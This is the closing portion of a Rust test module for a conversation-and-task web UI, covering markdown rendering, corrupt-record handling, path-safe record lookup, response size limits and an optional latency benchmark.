27994                result
27995                    .expect("display must not wait behind local admission")
27996                    .unwrap()
27997                    .0
27998                    .thinking
27999            );
28000            assert!(ui.is_thinking(&id));
28001            assert!(ui.is_thinking_observed(&id));
28002            drop(live);
28003            assert!(
28004                !ui.is_thinking_observed(&id),
28005                "a finished lease no longer appears live"
28006            );
28007            assert!(!ui.is_thinking(&id));
28008            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
28009            assert!(
28010                ui.is_thinking_observed(&id),
28011                "local admission remains visible"
28012            );
28013        });
28014    }
28015
28016    #[tokio::test]
28017    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
28018        let home = tempfile::tempdir().unwrap();
28019        let ui = delta_test_ui(home.path());
28020        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
28021        let mut task = Task::new(
28022            "Referenced task".into(),
28023            "Unrelated instruction history".repeat(1024),
28024            home.path().into(),
28025            Source::Human,
28026        );
28027        task.id = "20261019-000000-abcd".into();
28028        ui.queue.put(&mut task).unwrap();
28029        let mut conversation = ui.talks.get(&id).unwrap();
28030        conversation.turns.push(talk::Turn {
28031            sender: Some(talk::Sender::Persona),
28032            who: talk::Who::Agent,
28033            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
28034            at: conversation.created_at,
28035            attachments: Vec::new(),
28036            usage: None,
28037            breaks: None,
28038            messages: Vec::new(),
28039            posted_by: None,
28040        });
28041        ui.talks.put(&mut conversation).unwrap();
28042
28043        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
28044        let markdown = serde_json::to_value(&core.turn_bodies_md)
28045            .unwrap()
28046            .to_string();
28047        assert!(markdown.contains("\"strong\""));
28048        assert!(markdown.contains("\"table\""));
28049        assert!(markdown.contains("\"bullet_list\""));
28050        assert!(markdown.contains("\"code_block\""));
28051        assert!(!markdown.contains("\"internal_link\""));
28052        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
28053        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
28054        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
28055
28056        // Deferred decoration still resolves the same validated task, without
28057        // touching opaque code blocks or changing the original transcript.
28058        let references = ui.references.for_talk(home.path(), &conversation);
28059        let mut decorated = core.turn_bodies_md[0].clone();
28060        references.markdown(&mut decorated);
28061        let decorated = serde_json::to_value(decorated).unwrap().to_string();
28062        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
28063        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
28064        assert_eq!(
28065            ui.talks.get(&conversation.id).unwrap().turns[0].body,
28066            conversation.turns[0].body
28067        );
28068    }
28069
28070    #[tokio::test]
28071    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
28072        let home = tempfile::tempdir().unwrap();
28073        let ui = delta_test_ui(home.path());
28074        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28075        let mut run = RunState::new(
28076            PathBuf::from("/repo"),
28077            "main".into(),
28078            "01234567".into(),
28079            "Useful run".into(),
28080            Config::default(),
28081        );
28082        run.save_under(home.path()).unwrap();
28083        let mut task = Task::new(
28084            "Related".into(),
28085            "body".into(),
28086            PathBuf::from("/repo"),
28087            Source::Agent {
28088                run: talk_id.clone(),
28089                node: "chat".into(),
28090            },
28091        );
28092        task.runs = vec![run.id.clone()];
28093        ui.queue.put(&mut task).unwrap();
28094        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
28095        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
28096        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
28097        assert!(
28098            run_detail(State(ui.clone()), Path(run.id.clone()))
28099                .await
28100                .is_ok()
28101        );
28102        assert!(
28103            talk_sections(State(ui.clone()), Path(talk_id.clone()))
28104                .await
28105                .is_ok()
28106        );
28107        // Previously indexed corruption must not masquerade as no relationship.
28108        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
28109        assert!(ui.find_task_for_run(&run.id).is_err());
28110        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
28111        ui.queue.put(&mut task).unwrap();
28112        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
28113    }
28114
28115    #[tokio::test]
28116    async fn conversation_sections_omit_large_task_instructions() {
28117        let home = tempfile::tempdir().unwrap();
28118        let ui = delta_test_ui(home.path());
28119        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28120        let mut task = Task::new(
28121            "filed task".into(),
28122            "large instruction ".repeat(65536),
28123            PathBuf::from("/repo"),
28124            Source::Agent {
28125                run: id.clone(),
28126                node: "chat".into(),
28127            },
28128        );
28129        ui.queue.put(&mut task).unwrap();
28130        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
28131        assert_eq!(sections["tasks"][0]["id"], task.id);
28132        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
28133        assert!(sections["tasks"][0].get("instruction").is_none());
28134        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
28135    }
28136
28137    #[test]
28138    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
28139        let home = tempfile::tempdir().unwrap();
28140        let talks = Talks::at(home.path().join("talks"));
28141        seed_talk_at(&talks, "20261019-000001-abcd", "open");
28142        seed_talk_at(&talks, "20261019-000002-abcd", "open");
28143        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
28144        assert!(resolve_talk(&talks, "../outside").is_err());
28145        assert!(resolve_talk(&talks, "abcd").is_err());
28146        assert_eq!(
28147            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
28148            "20261019-000001-abcd"
28149        );
28150    }
28151
28152    include!(concat!(
28153        env!("CARGO_MANIFEST_DIR"),
28154        "/tests/web_latency/baseline.rs"
28155    ));
28156
28157    include!(concat!(
28158        env!("CARGO_MANIFEST_DIR"),
28159        "/tests/web_latency/lists.rs"
28160    ));
28161
28162    #[tokio::test]
28163    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
28164    async fn web_history_latency_measurement() {
28165        use std::time::Instant;
28166        let home = tempfile::tempdir().unwrap();
28167        let ui = delta_test_ui(home.path());
28168        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28169        let mut template = ui.talks.get(&id).unwrap();
28170        template.turns = serde_json::from_value(serde_json::json!([{
28171            "who": "operator", "body": "Show the accumulated work and its current status.",
28172            "at": Timestamp::now().to_string(),
28173        }]))
28174        .unwrap();
28175        std::fs::write(
28176            ui.talks.path_of(&id),
28177            serde_json::to_vec(&template).unwrap(),
28178        )
28179        .unwrap();
28180        let count = std::env::var("MAGI_BENCH_RECORDS")
28181            .ok()
28182            .and_then(|s| s.parse::<usize>().ok())
28183            .unwrap_or(1000);
28184        for i in 0..count {
28185            template.id = format!("20261019-{i:06}-history");
28186            template.pending = "history ".repeat(2048);
28187            std::fs::write(
28188                ui.talks.path_of(&template.id),
28189                serde_json::to_vec(&template).unwrap(),
28190            )
28191            .unwrap();
28192            let mut task = Task::new(
28193                "old task".into(),
28194                "instruction ".repeat(2048),
28195                PathBuf::from("/repo"),
28196                Source::Human,
28197            );
28198            task.id = format!("20261019-{i:06}-task");
28199            ui.queue.put(&mut task).unwrap();
28200        }
28201        for baseline in [true, false] {
28202            for clients in [1, 4] {
28203                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
28204                let mut samples = Vec::new();
28205                for _ in 0..12 {
28206                    let mut jobs = Vec::new();
28207                    for _ in 0..clients {
28208                        let ui = ui.clone();
28209                        let id = id.clone();
28210                        jobs.push(tokio::spawn(async move {
28211                            let start = Instant::now();
28212                            if baseline {
28213                                let response =
28214                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
28215                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
28216                                return (
28217                                    elapsed,
28218                                    elapsed,
28219                                    serde_json::to_vec(&response).unwrap().len(),
28220                                );
28221                            }
28222                            let core = talk_core(State(ui.clone()), Path(id.clone()));
28223                            let secondary = talk_sections(State(ui), Path(id));
28224                            let (first, total) = tokio::join!(
28225                                async {
28226                                    let value = core.await.unwrap().0;
28227                                    (
28228                                        start.elapsed().as_secs_f64() * 1000.0,
28229                                        serde_json::to_vec(&value).unwrap().len(),
28230                                    )
28231                                },
28232                                async {
28233                                    let value = secondary.await.unwrap().0;
28234                                    (
28235                                        start.elapsed().as_secs_f64() * 1000.0,
28236                                        serde_json::to_vec(&value).unwrap().len(),
28237                                    )
28238                                }
28239                            );
28240                            (first.0, first.0.max(total.0), first.1 + total.1)
28241                        }));
28242                    }
28243                    for job in jobs {
28244                        samples.push(job.await.unwrap());
28245                    }
28246                }
28247                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
28248                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
28249                first.sort_by(f64::total_cmp);
28250                total.sort_by(f64::total_cmp);
28251                let n = first.len();
28252                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
28253                println!(
28254                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
28255                    first[n / 2],
28256                    first[(n * 95 / 100).min(n - 1)],
28257                    total[n / 2],
28258                    total[(n * 95 / 100).min(n - 1)],
28259                    samples[0].2
28260                );
28261            }
28262        }
28263    }
28264
28265    #[test]
28266    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
28267        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
28268        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
28269        assert!(APP_JS.contains("function nextRunRequest(id)"));
28270        assert!(APP_JS.contains("function runShell(id, summary)"));
28271        assert!(APP_JS.contains("function nextTaskRequest(id)"));
28272        assert!(APP_JS.contains("function taskShell(id, summary)"));
28273        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
28274    }
28275}